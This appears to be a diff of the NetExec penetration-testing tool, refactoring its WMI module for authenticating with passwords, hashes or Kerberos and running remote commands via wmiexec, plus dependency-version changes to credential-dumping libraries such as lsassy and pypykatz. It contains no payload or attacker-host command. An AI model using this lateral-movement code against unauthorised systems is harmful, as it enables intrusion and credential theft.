     cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
     cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
     cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")

nxc/protocols/wmi.py

@@ -1,4 +1,5 @@
 import os
+import logging
 
 from io import StringIO
 from datetime import datetime
@@ -23,11 +24,12 @@ MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.
 
 class wmi(connection):
     def __init__(self, args, db, host):
-        self.domain = ""
-        self.targetDomain = ""
+        self.domain = None
         self.hash = ""
         self.lmhash = ""
         self.nthash = ""
+        self.fqdn = ""
+        self.remoteName = ""
         self.server_os = None
         self.doKerberos = False
         self.stringBinding = None
@@ -61,10 +63,10 @@ class wmi(connection):
         )
 
     def create_conn_obj(self):
-        connection_target = fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]"
-        self.logger.debug(f"Creating WMI connection object to {connection_target}")
+        if self.remoteName == "":
+            self.remoteName = self.host
         try:
-            rpctansport = transport.DCERPCTransportFactory(connection_target)
+            rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]")
             rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="")
             rpctansport.setRemoteHost(self.host)
             rpctansport.set_connect_timeout(self.args.rpc_timeout)
@@ -74,10 +76,9 @@ class wmi(connection):
             dce.bind(MSRPC_UUID_PORTMAP)
             dce.disconnect()
         except Exception as e:
-            self.logger.debug(f"Received error creating WMI connection object: {e}")
+            self.logger.debug(str(e))
             return False
         else:
-            self.logger.debug(f"Successfully created WMI connection object to {connection_target}")
             self.conn = rpctansport
             return True
 
@@ -121,7 +122,7 @@ class wmi(connection):
             response = MSRPCHeader(buffer)
             bindResp = MSRPCBindAck(response.getData())
             ntlm_info = parse_challenge(bindResp["auth_data"])
-            self.targetDomain = self.domain = ntlm_info["domain"]
+            self.domain = ntlm_info["domain"]
             self.hostname = ntlm_info["hostname"]
             self.server_os = ntlm_info["os_version"]
             self.logger.extra["hostname"] = self.hostname
@@ -131,32 +132,25 @@ class wmi(connection):
             self.domain = self.hostname
         if self.args.domain:
             self.domain = self.args.domain
-
-        # DCOM connection with kerberos needed
-        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
-
-        if not self.kdcHost and self.domain:
-            result = self.resolver(self.domain)
-            self.kdcHost = result["host"] if result else None
-            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+            self.fqdn = f"{self.hostname}.{self.domain}"
 
         self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
 
     def print_host_info(self):
         self.logger.extra["protocol"] = "RPC"
         self.logger.extra["port"] = "135"
-        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
+        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
         return True
 
     def check_if_admin(self):
         try:
-            dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
+            dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
             iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
-            flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
+            flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.args.rpc_timeout)
         except Exception as e:
-            self.logger.debug(f"Received error while checking admin: {e}")
             if "dcom" in locals():
                 dcom.disconnect()
+
             if "access_denied" not in str(e).lower():
                 self.logger.fail(str(e))
         else:
@@ -177,19 +171,19 @@ class wmi(connection):
 
                     if "access_denied" not in str(e).lower():
                         self.logger.fail(str(e))
-                        return False
                 else:
                     dcom.disconnect()
                     self.logger.extra["protocol"] = "WMI"
                     self.admin_privs = True
 
     def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
-        self.logger.debug("Starting WMI login with Kerberos")
+        logging.getLogger("impacket").disabled = True
         lmhash = ""
         nthash = ""
         self.password = password
         self.username = username
         self.domain = domain
+        self.remoteName = self.fqdn
         self.create_conn_obj()
 
         if password == "":
@@ -204,15 +198,12 @@ class wmi(connection):
 
         if useCache and kerb_pass == "":
             ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
-            self.logger.debug(f"Using ccache from {ccache}")
             username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
             self.username = username
+
         used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-        
         try:
-            self.logger.debug(f"Attempting to connect via WMI to {self.host}")
             self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
-            self.conn.setRemoteHost(self.host)
             self.conn.set_kerberos(True, kdcHost)
             dce = self.conn.get_dce_rpc()
             dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
@@ -222,21 +213,22 @@ class wmi(connection):
         except Exception as e:
             dce.disconnect()
             error_msg = str(e).lower()
-            self.logger.debug(f"WMI errored while connecting: {error_msg}")
+            self.logger.debug(error_msg)
             if "unpack requires a buffer of 4 bytes" in error_msg:
                 error_msg = "Kerberos authentication failure"
                 out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}"
                 self.logger.fail(out)
-            elif "kerberos sessionerror" in error_msg:
+            elif "kerberos sessionerror" in str(e).lower():
                 out = f"{self.domain}\\{self.username}{used_ccache} {next(iter(e.getErrorString()))}"
                 self.logger.fail(out, color="magenta")
+                return False
             else:
                 out = f"{self.domain}\\{self.username}{used_ccache} {e!s}"
                 self.logger.fail(out, color="red")
                 return False
         else:
             try:
-                self.logger.debug("Got valid creds, trying to get data from RPC connection")
+                # Get data from rpc connection if got vaild creds
                 entry_handle = epm.ept_lookup_handle_t()
                 request = epm.ept_lookup()
                 request["inquiry_type"] = 0x0
@@ -259,9 +251,9 @@ class wmi(connection):
             else:
                 self.doKerberos = True
                 self.check_if_admin()
+                dce.disconnect()
                 out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
                 self.logger.success(out)
-                dce.disconnect()
                 return True
 
     def plaintext_login(self, domain, username, password):
@@ -380,7 +372,7 @@ class wmi(connection):
             namespace = self.args.wmi_namespace
 
         try:
-            dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
+            dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
             iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
             iWbemLevel1Login = IWbemLevel1Login(iInterface)
             iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
@@ -426,11 +418,11 @@ class wmi(connection):
             return False
 
         if self.args.exec_method == "wmiexec":
-            exec_method = wmiexec.WMIEXEC(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
+            exec_method = wmiexec.WMIEXEC(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
             output = exec_method.execute(command, get_output)
 
         elif self.args.exec_method == "wmiexec-event":
-            exec_method = wmiexec_event.WMIEXEC_EVENT(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
+            exec_method = wmiexec_event.WMIEXEC_EVENT(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
             output = exec_method.execute(command, get_output)
 
         self.conn.disconnect()

nxc/protocols/wmi/database.py

@@ -2,7 +2,7 @@ from pathlib import Path
 from sqlalchemy.orm import sessionmaker, scoped_session
 from sqlalchemy import MetaData, Table
 from sqlalchemy.exc import (
-    # IllegalStateChangeError,
+    IllegalStateChangeError,
     NoInspectionAvailable,
     NoSuchTableError,
 )
@@ -54,7 +54,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being run on an old DB schema
+                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
@@ -66,7 +66,7 @@ class database:
         # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
         # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
         # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except Exception as e:
+        except IllegalStateChangeError as e:
             nxc_logger.debug(f"Error while closing session db object: {e}")
 
     def clear_database(self):

nxc/protocols/wmi/proto_args.py

@@ -1,5 +1,5 @@
-def proto_args(parser, parents):
-    wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents)
+def proto_args(parser, std_parser, module_parser):
+    wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", parents=[std_parser, module_parser], conflict_handler="resolve")
     wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
     wmi_parser.add_argument("--port", type=int, choices={135}, default=135, help="WMI port (default: 135)")
     wmi_parser.add_argument("--rpc-timeout", help="RPC/DCOM(WMI) connection timeout, default is %(default)s seconds", type=int, default=2)

nxc/protocols/wmi/wmiexec.py

@@ -24,8 +24,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
 
 
 class WMIEXEC:
-    def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
-        self.__target = target
+    def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
+        self.__host = host
         self.__username = username
         self.__password = password
         self.__domain = domain
@@ -33,7 +33,6 @@ class WMIEXEC:
         self.__nthash = nthash
         self.__doKerberos = doKerberos
         self.__kdcHost = kdcHost
-        self.__remoteHost = remoteHost
         self.__aesKey = aesKey
         self.logger = logger
         self.__exec_timeout = exec_timeout
@@ -45,7 +44,7 @@ class WMIEXEC:
         self.__pwd = "C:\\"
         self.__codec = codec
 
-        self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
+        self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
         iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
         iWbemLevel1Login = IWbemLevel1Login(iInterface)
         self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
@@ -99,4 +98,4 @@ class WMIEXEC:
             self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
             retVal = descriptor.DeleteKey(2147483650, self.__registry_Path)
         except Exception as e:
-            self.logger.debug(f"Target: {self.__target} removing temporary registry path error: {e!s}")
+            self.logger.debug(f"Target: {self.__host} removing temporary registry path error: {e!s}")

nxc/protocols/wmi/wmiexec_event.py

@@ -31,8 +31,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
 
 
 class WMIEXEC_EVENT:
-    def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
-        self.__target = target
+    def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
+        self.__host = host
         self.__username = username
         self.__password = password
         self.__domain = domain
@@ -40,7 +40,6 @@ class WMIEXEC_EVENT:
         self.__nthash = nthash
         self.__doKerberos = doKerberos
         self.__kdcHost = kdcHost
-        self.__remoteHost = remoteHost
         self.__aesKey = aesKey
         self.__outputBuffer = ""
         self.__retOutput = True
@@ -51,7 +50,7 @@ class WMIEXEC_EVENT:
         self.__instanceID = f"windows-object-{uuid.uuid4()!s}"
         self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}"
 
-        self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
+        self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
         iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
         iWbemLevel1Login = IWbemLevel1Login(iInterface)
         self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
@@ -76,7 +75,7 @@ class WMIEXEC_EVENT:
 
     def execute_handler(self, command):
         # Generate vbsript and execute it
-        self.logger.debug(f"{self.__target}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
+        self.logger.debug(f"{self.__host}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
         self.execute_remote(command)
 
         # Get command results

poetry.lock

@@ -1,4 +1,4 @@
-# This file is automatically @generated by Poetry 1.8.2 and should not be changed by hand.
+# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand.
 
 [[package]]
 name = "aardwolf"
@@ -59,41 +59,42 @@ files = [
 
 [[package]]
 name = "aiosmb"
-version = "0.4.4"
+version = "0.4.10"
 description = "Asynchronous SMB protocol implementation"
 optional = false
 python-versions = ">=3.7"
 files = [
-    {file = "aiosmb-0.4.4-py3-none-any.whl", hash = "sha256:ed70967243ec6634ac443de4e048c666f372ec863e49e8a2c1e01d640989f95e"},
-    {file = "aiosmb-0.4.4.tar.gz", hash = "sha256:20620498cf5e6794fea29ddcb46afbda8cbf714e3cf8e1da149699f03453637f"},
+    {file = "aiosmb-0.4.10-py3-none-any.whl", hash = "sha256:8b6f4c586fcd4e757e31aa3ea5a17060d9355d8994011ff6040acc18c578c023"},
+    {file = "aiosmb-0.4.10.tar.gz", hash = "sha256:b8de656e1b8fb7d6b1a766534f10e01ee0d1c254235c03449063e04092f5a3dd"},
 ]
 
 [package.dependencies]
 asn1crypto = "*"
-asyauth = ">=0.0.8"
-asysocks = ">=0.2.2"
+asyauth = ">=0.0.16"
+asysocks = ">=0.2.9"
 colorama = "*"
-minikerberos = ">=0.3.5"
+cryptography = "*"
 prompt-toolkit = ">=3.0.2"
 six = "*"
 tqdm = "*"
-unicrypto = ">=0.0.9"
+unicrypto = ">=0.0.10"
 wcwidth = "*"
-winacl = ">=0.1.5"
+winacl = ">=0.1.8"
 
 [[package]]
 name = "aiosqlite"
-version = "0.17.0"
+version = "0.19.0"
 description = "asyncio bridge to the standard sqlite3 module"
 optional = false
-python-versions = ">=3.6"
+python-versions = ">=3.7"
 files = [
-    {file = "aiosqlite-0.17.0-py3-none-any.whl", hash = "sha256:6c49dc6d3405929b1d08eeccc72306d3677503cc5e5e43771efc1e00232e8231"},
-    {file = "aiosqlite-0.17.0.tar.gz", hash = "sha256:f0e6acc24bc4864149267ac82fb46dfb3be4455f99fe21df82609cc6e6baee51"},
+    {file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"},
+    {file = "aiosqlite-0.19.0.tar.gz", hash = "sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"},
 ]
 
-[package.dependencies]
-typing_extensions = ">=3.7.2"
+[package.extras]
+dev = ["aiounittest (==1.4.1)", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"]
+docs = ["sphinx (==6.1.3)", "sphinx-mdinclude (==0.5.3)"]
 
 [[package]]
 name = "aiowinreg"
@@ -188,13 +189,13 @@ shell = ["prompt_toolkit"]
 
 [[package]]
 name = "asyauth"
-version = "0.0.20"
+version = "0.0.18"
 description = "Unified authentication library"
 optional = false
 python-versions = ">=3.7"
 files = [
-    {file = "asyauth-0.0.20-py3-none-any.whl", hash = "sha256:b4697c5be28869bb5df8ff217564e77a863385ef9495da7cb215deac4ebe9fac"},
-    {file = "asyauth-0.0.20.tar.gz", hash = "sha256:41056020f7689cf5f0a559759c7f02a6ce2719bda84df783bd1058d5781e514b"},
+    {file = "asyauth-0.0.18-py3-none-any.whl", hash = "sha256:1fff4333d5db8c6c4a897efdf5e95a41a44cd257638d8296003f1a7a4a9e95a1"},
+    {file = "asyauth-0.0.18.tar.gz", hash = "sha256:b7602894fd0667cf1bd3e16a1d71c83f557a4c857ad41bddf30557a59665b4ad"},
 ]
 
 [package.dependencies]
@@ -633,13 +634,13 @@ wmi = ["wmi (>=1.5.1,<2.0.0)"]
 
 [[package]]
 name = "dploot"
-version = "2.7.1"
+version = "2.2.4"
 description = "DPAPI looting remotely in Python"
 optional = false
-python-versions = "<4.0,>=3.7"
+python-versions = ">=3.7,<4.0"
 files = [
-    {file = "dploot-2.7.1-py3-none-any.whl", hash = "sha256:4d557a88c4fd6f6a53f45333ccb853e4125f0bf101d5336937ac1f6c0afb7171"},
-    {file = "dploot-2.7.1.tar.gz", hash = "sha256:bcd2f9c6b6647d83b5d62f0446a0fdeb7eefacc6f71a49a8dd18ef43538d5db6"},
+    {file = "dploot-2.2.4-py3-none-any.whl", hash = "sha256:a70c8280972a1fb7150093560093e46a9bb5936396f563ae9050a20dcf1ad96e"},
+    {file = "dploot-2.2.4.tar.gz", hash = "sha256:e34ff928e94416f3cbf688427d1de4aa88a4a4a15f24edb6313a2adc685a98a3"},
 ]
 
 [package.dependencies]
@@ -658,20 +659,6 @@ files = [
     {file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"},
 ]
 
-[[package]]
-name = "dunamai"
-version = "1.19.2"
-description = "Dynamic version generation"
-optional = false
-python-versions = ">=3.5"
-files = [
-    {file = "dunamai-1.19.2-py3-none-any.whl", hash = "sha256:bc126b17571a44d68ed826cec596e0f61dc01edca8b21486f70014936a5d44f2"},
-    {file = "dunamai-1.19.2.tar.gz", hash = "sha256:3be4049890763e19b8df1d52960dbea60b3e263eb0c96144a677ae0633734d2e"},
-]
-
-[package.dependencies]
-packaging = ">=20.9"
-
 [[package]]
 name = "exceptiongroup"
 version = "1.2.0"
@@ -830,7 +817,7 @@ files = [
 
 [[package]]
 name = "impacket"
-version = "0.12.0.dev1+20240327.181547.f8899e65"
+version = "0.12.0.dev1+20240215.65950.da6f5255"
 description = "Network protocols Constructors and Dissectors"
 optional = false
 python-versions = "*"
@@ -839,11 +826,11 @@ develop = false
 
 [package.dependencies]
 charset_normalizer = "*"
+dsinternals = "*"
 flask = ">=1.0"
 ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
 ldapdomaindump = ">=0.9.0"
 pyasn1 = ">=0.2.3"
-pyasn1_modules = "*"
 pycryptodomex = "*"
 pyOpenSSL = ">=21.0.0"
 setuptools = "*"
@@ -851,9 +838,9 @@ six = "*"
 
 [package.source]
 type = "git"
-url = "https://github.com/fortra/impacket.git"
-reference = "HEAD"
-resolved_reference = "f8899e65f16c50b871863528d419cfb701a5a3e3"
+url = "https://github.com/Pennyw0rth/impacket.git"
+reference = "gkdi"
+resolved_reference = "da6f52552b7d15f177587d902b3405e0aa07f22e"
 
 [[package]]
 name = "importlib-metadata"
@@ -946,13 +933,13 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
 
 [[package]]
 name = "lsassy"
-version = "3.1.11"
+version = "3.1.9"
 description = "Python library to extract credentials from lsass remotely"
 optional = false
 python-versions = ">=3.6"
 files = [
-    {file = "lsassy-3.1.11-py3-none-any.whl", hash = "sha256:ee9588761f307e9bba66485cfb60597091db232d2aadde27bcb0504f8faea7ba"},
-    {file = "lsassy-3.1.11.tar.gz", hash = "sha256:0cfad66c53bee67e84810d73058fd70f15aa7570a0e96009d57160dfda1fb8cf"},
+    {file = "lsassy-3.1.9-py3-none-any.whl", hash = "sha256:8497168efe43147d639671c5ea3d4b04b7d8c4336f77286b767fca0edca6c830"},
+    {file = "lsassy-3.1.9.tar.gz", hash = "sha256:75d7038915dea31b6380488befedb4081e1fdade9a68d6f7cb5b4cf6c93b9970"},
 ]
 
 [package.dependencies]
@@ -1298,13 +1285,13 @@ files = [
 
 [[package]]
 name = "msldap"
-version = "0.5.10"
+version = "0.5.9"
 description = "Python library to play with MS LDAP"
 optional = false
 python-versions = ">=3.7"
 files = [
-    {file = "msldap-0.5.10-py3-none-any.whl", hash = "sha256:263a4bfa832f3b9f27163e5a752151608283745dba22ad8d7c560ae18e0e193b"},
-    {file = "msldap-0.5.10.tar.gz", hash = "sha256:65bfe0e502c94d26f45d366f567cdb62462f27f655bd0ae2f0228fe3c9f989b8"},
+    {file = "msldap-0.5.9-py3-none-any.whl", hash = "sha256:26c0418086f788c1197341ee31d4ffbc69c057aef339cd91e882ca7c1fb10fcb"},
+    {file = "msldap-0.5.9.tar.gz", hash = "sha256:5f3c4e362296e0e1eba447eda9f230988a7b2a08826f7b3ed34ec9612ebcfe33"},
 ]
 
 [package.dependencies]
@@ -1508,25 +1495,6 @@ files = [
 dev = ["pre-commit", "tox"]
 testing = ["pytest", "pytest-benchmark"]
 
-[[package]]
-name = "poetry-dynamic-versioning"
-version = "1.2.0"
-description = "Plugin for Poetry to enable dynamic versioning based on VCS tags"
-optional = false
-python-versions = ">=3.7,<4.0"
-files = [
-    {file = "poetry_dynamic_versioning-1.2.0-py3-none-any.whl", hash = "sha256:8dbef9728d866eb3d1a4edbb29c7ac8abdf96e3ca659473e950e2c016f3785ec"},
-    {file = "poetry_dynamic_versioning-1.2.0.tar.gz", hash = "sha256:1a7bbdba2530499e73dfc6ac0af19de29020ab4aaa3e507573877114e6b71ed6"},
-]
-
-[package.dependencies]
-dunamai = ">=1.18.0,<2.0.0"
-jinja2 = ">=2.11.1,<4"
-tomlkit = ">=0.4"
-
-[package.extras]
-plugin = ["poetry (>=1.2.0,<2.0.0)"]
-
 [[package]]
 name = "prompt-toolkit"
 version = "3.0.43"
@@ -1554,17 +1522,17 @@ files = [
 
 [[package]]
 name = "pyasn1-modules"
-version = "0.2.8"
-description = "A collection of ASN.1-based protocols modules."
+version = "0.3.0"
+description = "A collection of ASN.1-based protocols modules"
 optional = false
-python-versions = "*"
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
 files = [
-    {file = "pyasn1-modules-0.2.8.tar.gz", hash = "sha256:905f84c712230b2c592c19470d3ca8d552de726050d1d1716282a1f6146be65e"},
-    {file = "pyasn1_modules-0.2.8-py2.py3-none-any.whl", hash = "sha256:a50b808ffeb97cb3601dd25981f6b016cbb3d31fbf57a8b8a87428e6158d0c74"},
+    {file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"},
+    {file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"},
 ]
 
 [package.dependencies]
-pyasn1 = ">=0.4.6,<0.5.0"
+pyasn1 = ">=0.4.6,<0.6.0"
 
 [[package]]
 name = "pycodestyle"
@@ -1797,25 +1765,25 @@ kerberos = ["pyspnego[kerberos]"]
 
 [[package]]
 name = "pypykatz"
-version = "0.6.6"
+version = "0.6.9"
 description = "Python implementation of Mimikatz"
 optional = false
 python-versions = ">=3.6"
 files = [
-    {file = "pypykatz-0.6.6-py3-none-any.whl", hash = "sha256:c2167c06c6e0992b721e5c9e572fc4a847099bca2b179c65d820280cb0d344f9"},
-    {file = "pypykatz-0.6.6.tar.gz", hash = "sha256:7cf7842937d12f5e36448312431a41c88032d3db179660e32004e291cf3622ec"},
+    {file = "pypykatz-0.6.9-py3-none-any.whl", hash = "sha256:ea5f43e0e754aacaa47510003c88bc65be2099b08812390b5a83b01aff61b1df"},
+    {file = "pypykatz-0.6.9.tar.gz", hash = "sha256:5e78b671823e0724c5483bee5870d4f7b2a58f031edda4fb3fe5488abea4b64b"},
 ]
 
 [package.dependencies]
-aesedb = ">=0.1.3"
-aiosmb = ">=0.4.4"
-aiowinreg = ">=0.0.7"
-minidump = ">=0.0.21"
-minikerberos = ">=0.4.0"
-msldap = ">=0.4.7"
+aesedb = ">=0.1.4,<=0.2.0"
+aiosmb = ">=0.4.8,<=0.5.0"
+aiowinreg = ">=0.0.10,<=0.1.0"
+minidump = ">=0.0.21,<=0.1.0"
+minikerberos = ">=0.4.1,<=0.5.0"
+msldap = ">=0.5.7,<=0.6.0"
 tqdm = "*"
-unicrypto = ">=0.0.10"
-winacl = ">=0.1.6"
+unicrypto = ">=0.0.10,<=0.1.0"
+winacl = ">=0.1.7,<=0.2.0"
 
 [[package]]
 name = "pyspnego"
@@ -2034,82 +2002,90 @@ files = [
 
 [[package]]
 name = "sqlalchemy"
-version = "1.4.50"
+version = "2.0.25"
 description = "Database Abstraction Library"
 optional = false
-python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
+python-versions = ">=3.7"
 files = [
-    {file = "SQLAlchemy-1.4.50-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:54138aa80d2dedd364f4e8220eef284c364d3270aaef621570aa2bd99902e2e8"},
-    {file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d00665725063692c42badfd521d0c4392e83c6c826795d38eb88fb108e5660e5"},
-    {file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85292ff52ddf85a39367057c3d7968a12ee1fb84565331a36a8fead346f08796"},
-    {file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d0fed0f791d78e7767c2db28d34068649dfeea027b83ed18c45a423f741425cb"},
-    {file = "SQLAlchemy-1.4.50-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db4db3c08ffbb18582f856545f058a7a5e4ab6f17f75795ca90b3c38ee0a8ba4"},
-    {file = "SQLAlchemy-1.4.50-cp310-cp310-win32.whl", hash = "sha256:6c78e3fb4a58e900ec433b6b5f4efe1a0bf81bbb366ae7761c6e0051dd310ee3"},
-    {file = "SQLAlchemy-1.4.50-cp310-cp310-win_amd64.whl", hash = "sha256:d55f7a33e8631e15af1b9e67c9387c894fedf6deb1a19f94be8731263c51d515"},
-    {file = "SQLAlchemy-1.4.50-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:324b1fdd50e960a93a231abb11d7e0f227989a371e3b9bd4f1259920f15d0304"},
-    {file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14b0cacdc8a4759a1e1bd47dc3ee3f5db997129eb091330beda1da5a0e9e5bd7"},
-    {file = "SQLAlchemy-1.4.50-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1fb9cb60e0f33040e4f4681e6658a7eb03b5cb4643284172f91410d8c493dace"},
-    {file = "SQLAlchemy-1.4.50-cp311-cp311-win32.whl", hash = "sha256:8bdab03ff34fc91bfab005e96f672ae207d87e0ac7ee716d74e87e7046079d8b"},
-    {file = "SQLAlchemy-1.4.50-cp311-cp311-win_amd64.whl", hash = "sha256:52e01d60b06f03b0a5fc303c8aada405729cbc91a56a64cead8cb7c0b9b13c1a"},
-    {file = "SQLAlchemy-1.4.50-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:77fde9bf74f4659864c8e26ac08add8b084e479b9a18388e7db377afc391f926"},
